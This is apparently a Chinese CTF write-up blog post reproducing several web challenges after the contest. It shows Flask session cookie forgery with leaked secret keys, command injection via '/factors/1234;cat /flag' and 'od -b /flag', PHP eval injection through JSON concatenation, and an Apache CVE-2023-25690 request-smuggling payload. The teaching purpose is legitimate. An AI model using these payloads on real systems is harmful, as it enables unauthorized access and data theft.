是赛后靠wp自己复现的,可以划走了
flask?jwt?
看到提示就知道有可能是jwt伪造了
但事实是自己做的时候并不是这样
哈哈,这里是用了flask的session伪造,乐
注册个账户先:
就随便写邮箱号,用户名,密码
然后登录,burp suite抓包,发现了session:
1 | .eJwljjkOwzAMwP7iuYMsRbaczwTWhXZNmqno35siExcC5KdsucfxLOt7P-NRtpeXtSRDpelUA1whlQeocW9NhgpdRDQEQMfItrBbFRG0hjQ1iVWGL9bS62yQQyf20MFROSEM2Jc6jecgsA7217pdkUqBSZGi5Ro5j9jvGynfH8N8MBc.ZHxhow.e7ICXFHHbbmNtfdQuOHCpFNp4LE |
进入jwt.io
试图解码jwt,但是
居然不是jwt格式。。
所以想到是不是flask的session
使用flask-session-cookie-manager-master
试试
1 | python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjkOwzAMwP7iuYMsRbaczwTWhXZNmqno35siExcC5KdsucfxLOt7P-NRtpeXtSRDpelUA1whlQeocW9NhgpdRDQEQMfItrBbFRG0hjQ1iVWGL9bS62yQQyf20MFROSEM2Jc6jecgsA7217pdkUqBSZGi5Ro5j9jvGynfH8N8MBc.ZHxhow.e7ICXFHHbbmNtfdQuOHCpFNp4LE" |
这里使用的是不带secret-key
的解密方式,可以看到能够正常解码,userid是8
那么secretkey在哪呢?
这个问题困扰了我很久,直到我找到了一个重置密码的页面:
这里打开f12就找到了我们的secret-key
:th3f1askisfunny
总结就是百密一疏,万万没想到把secretkey藏在这里了…
拿到secretkey直接重新解密:
1 | python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjkOwzAMwP7iuYMsRbaczwTWhXZNmqno35siExcC5KdsucfxLOt7P-NRtpeXtSRDpelUA1whlQeocW9NhgpdRDQEQMfItrBbFRG0hjQ1iVWGL9bS62yQQyf20MFROSEM2Jc6jecgsA7217pdkUqBSZGi5Ro5j9jvGynfH8N8MBc.ZHxhow.e7ICXFHHbbmNtfdQuOHCpFNp4LE" -s "th3f1askisfunny" |
那我们接下来重新加密session:
1 | {'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '1'} |
这里我之前一直尝试user id是不是改成admin
,但是结果不是,改成admin后直接500 Internal Server Error
后来还是我自己尝试是不是把userid改成1就行了,结果真是 …
只能说带点运气成分在里面了
1 | python.exe .\flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '1'}" -s "th3f1askisfunny" |
重新登录,将session替换即可获得flag:
然后,赛后出题人来说这是非预期解(雾
flask?jwt?的预期解
这里的正确姿势是需要我们进行jwt伪造,重置admin账户的密码,以admin的身份进行登录并获取flag
这里的重置密码页面会发送重置密码的邮件
我们通过重置密码的连接可以获得jwt,重置链接的格式是这样的:
/changePassword/<jwttoken>?email=<youremail>
同时secretkey仍然是那个th3f1askisfunny
这个时候使用secretkey重新伪造jwt,覆盖后就能够重置admin的账户(题目中给出admin的邮箱是adm1n@flag.com
)
重新修改admin的密码登录即可获取flag
flask?jwt?(hard)
这题我研究了一半,没想到通过删除session引发报错能够获取secretkey
同样注册登录,在拿flag前发现了注释:
访问/wor
发现只给了一段提示:
抓包获取flask session后解码的结果是:
1 | python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjuOAjEQRK9iOSboj-2xfQEkJKLdHLnb3VoCCAYmQtydQRuVqvSkeq948dUef7E_180O8XKdsUfPgDwmo8EUcMkNRPNSSm1SeU8iJQCaZF5Snoq1VtJCPMQ5S20zafGJo4A3GbSYtGyYHUwhz4RD82gMuoB-sUX3E2QjZ_MqcRfZHrb-2_Ben9ebxf6K4Tv8bPdDgBRO2z0QEAeEnmoHDMfzb3y_P3TKO40.ZHxr4Q.Q0zp3DJFOTn8kR0HAKZFkl1AL14" |
居然和我们flask session里的内容的时间是一致的
那这是什么神奇的魔术呢?
这里怪我脑子不好使,还是做题做少了,当时做题的时候没想出来
这里肯定是flask读取了我们的session然后获取了time咯
那我们将session删除试试呢?
会发现我们直接进入报错界面了:
浏览报错界面直接发现了secretkey:
直接进行decode测试:
1 | python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjuOAjEQRK9iOSboj-2xfQEkJKLdHLnb3VoCCAYmQtydQRuVqvSkeq948dUef7E_180O8XKdsUfPgDwmo8EUcMkNRPNSSm1SeU8iJQCaZF5Snoq1VtJCPMQ5S20zafGJo4A3GbSYtGyYHUwhz4RD82gMuoB-sUX3E2QjZ_MqcRfZHrb-2_Ben9ebxf6K4Tv8bPdDgBRO2z0QEAeEnmoHDMfzb3y_P3TKO40.ZHxr4Q.Q0zp3DJFOTn8kR0HAKZFkl1AL14" -s "hardgam3_C0u1d_u_f1ndM3????" |
重新加密即可,userid应该同样是改为1:
1 | python.exe .\flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '1'}" -s "hardgam3_C0u1d_u_f1ndM3????" |
这里如果不删掉后面的time 的话python会报错。。。
复制session即可获得flag:
同样地,获取到的secretkey同样也是jwt的secretkey,采用上面的预期解的方法做同样能够获取flag
ezfactors
1 | description:原生 Linux 因数爆破工具。flag在根目录 |
…看完前面句号的东西我还认真的去社工了一下,发现并没有这种东西
这里的tool可以点击,进入后发现:
1 | 114514 = 2*31*1847 |
修改数字可以看到不同的数字的因数被分解
搜索了一下,发现linux确实有factor这个指令用于因数分解,而且分解的结果与页面的结果一致:
1 | [root@linuxcool ~]# factor |
那这里就有可能就是直接一个命令执行,factor + 传入的参数
对于传入的参数没有作限制,所以可以尝试直接命令执行:
1 | /factors/1234;cat%20%2fflag |
这里后面的/
要进行url编码,否则会报错(产生歧义,会认为你访问的是/factors/1234;cat /flag
这个路径)
居然真的执行成功了。。
但是flag不可能是这个格式,很明显结果只能够显示数字和冒号还有空格
那我们需要找一个方式能够读取flag的全部内容并且是以纯数字的方式输出
这里采用od
,od
能够将内容读取并且以8进制的方式返回,此时就是纯数字了
1 | /factors/1234;od%20-b%20%2fflag |
拿到cyberchef解码即可:
这题赛时没做出来((
因为自己就是在想linux有什么爆破因数的工具的rce然后进行漏洞利用。。
然后找不到,没想到居然是factor
这个命令
其实这里做完就会发现这题跟ping
命令是差不多的,同样是加分号后直接跟命令执行即可
MyWeb
1 | description:试试我的JSON解析工具。 |
这题只能怪自己不肯静下心来好好钻研了。。
源码:
1 |
|
在这里重新梳理一遍源码:
mode
有save
和read
先看read,read模块比较简单:
通过eval函数处理json格式并且输出,这里使用eval函数处理还是比较危险的,如果我们在$data
里的内容是:
1 | xxxxxxx;commandshere; |
的话,就能够同样执行commandshere
的命令,考虑在data处下手
然后再看save,通过传入value把value写入data.json内,然后保存
这里传入的value经过addslashes处理(单引号,双引号会被添加反斜杠,所以这里不能使用带引号的rce)
这里将代码copy并进行本地测试:
稍微修改了一下源码:
1 |
|
data.json内容:
1 | [1, "hi", 1234] |
注意到写入data前的操作:先获取data.json
的内容,将$data
的]
直接替换成'$value']
,也就是说操作的时候写入是这样的,假设传入的value是6666:
1 | [1, "hi", 1234] -> [1, "hi", 1234, '6666'] |
漏洞就出在这里了,简单地说就是直接将传入的value直接拼接在尾部
假设我们传入的是: ]//
呢
那json的内容就会变成:
1 | [1, "hi", ']//'] |
从vscode里看到后面直接被注释掉了,前面完成了闭合,而且read能够直接读出内容:
这里就类似于sql注入了,通过闭合后面的]
从而成功执行自己的命令
接下来只需要用分号将命令间隔开并且执行自己的命令即可
由于接下来的内容都被//
注释掉了,这里需要新开一行添加;
也就是:
1 | ?mode=save&value=]%0a;print_r(getenv());// |
这里好像是靶机寄了,做不出来…
信息收集
…
做不了一点
dirsearch扫到了index.php/login
和/cgi-bin/testcgi
和/cgi/bin/printenv
然后外加提示说搜索的不是dirsearch((
然后我意识到可能是让我去找某些cve了
乐
由于搜到的是cgi那边的,所以我就尝试去找了cgi-bin的漏洞
还真有。。
然后直接尝试用它的poc,发现并没有运行这个脚本。。
要开启的话还需要我们chmod 775
…
并没有办法执行chmod 775
这个方法就寄了
然后查看了index.php/login
是任意文件读取:
1 |
|
wappalyzer
解析是apache 2.4.10,那就只能再找找apache 2.4.10的漏洞了
这部分现在是我现看先学的
然后burp抓包的结果的apache却是2.4.55
找找2.4.55的漏洞:
CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用_黑客技术 (hackdig.com)
…真有
我们详细看看这篇CVE的解析:
我对于这里的解读大概是这样的:
先通过读取conf/httpd.conf
Apache默认安装httpd.conf在哪里?-Java 学习之路 (javaroad.cn)
这篇文章讲述了路径在哪:
/usr/local/apache2/conf/httpd.conf
看到Rewrite rule
的路径,这里的意思就是将请求的内容转发到/hello/*
的路径(应该是
回到这里,我们的Rewrite rule
是这样的:
1 | RewriteRule "^/nssctf/(.*)" "http://backend-server:8080/index.php?id=$1" [P] ProxyPassReverse "/nssctf/" "http://backend-server:8080/" |
再回到CVE分析的文章,查看利用的方式,大概就是打断点(
那我们直接看利用方式:
1 | /hello/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + hexdata + b'GET%20/flag.txt |
修改一下payload:
1 | /nssctf/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/flag.txt |
即可获取flag
至于为什么是/flag.txt 当然是猜的(可以看出我就把hello改成了nssctf而已)
TimeTrcer
不会
看了许多师傅的wp,然后自己再尝试复现而完成的这篇博客,非常的没有营养…
在此po出各位师傅写的wp,毕竟我是靠着他们才能写出这篇文章的: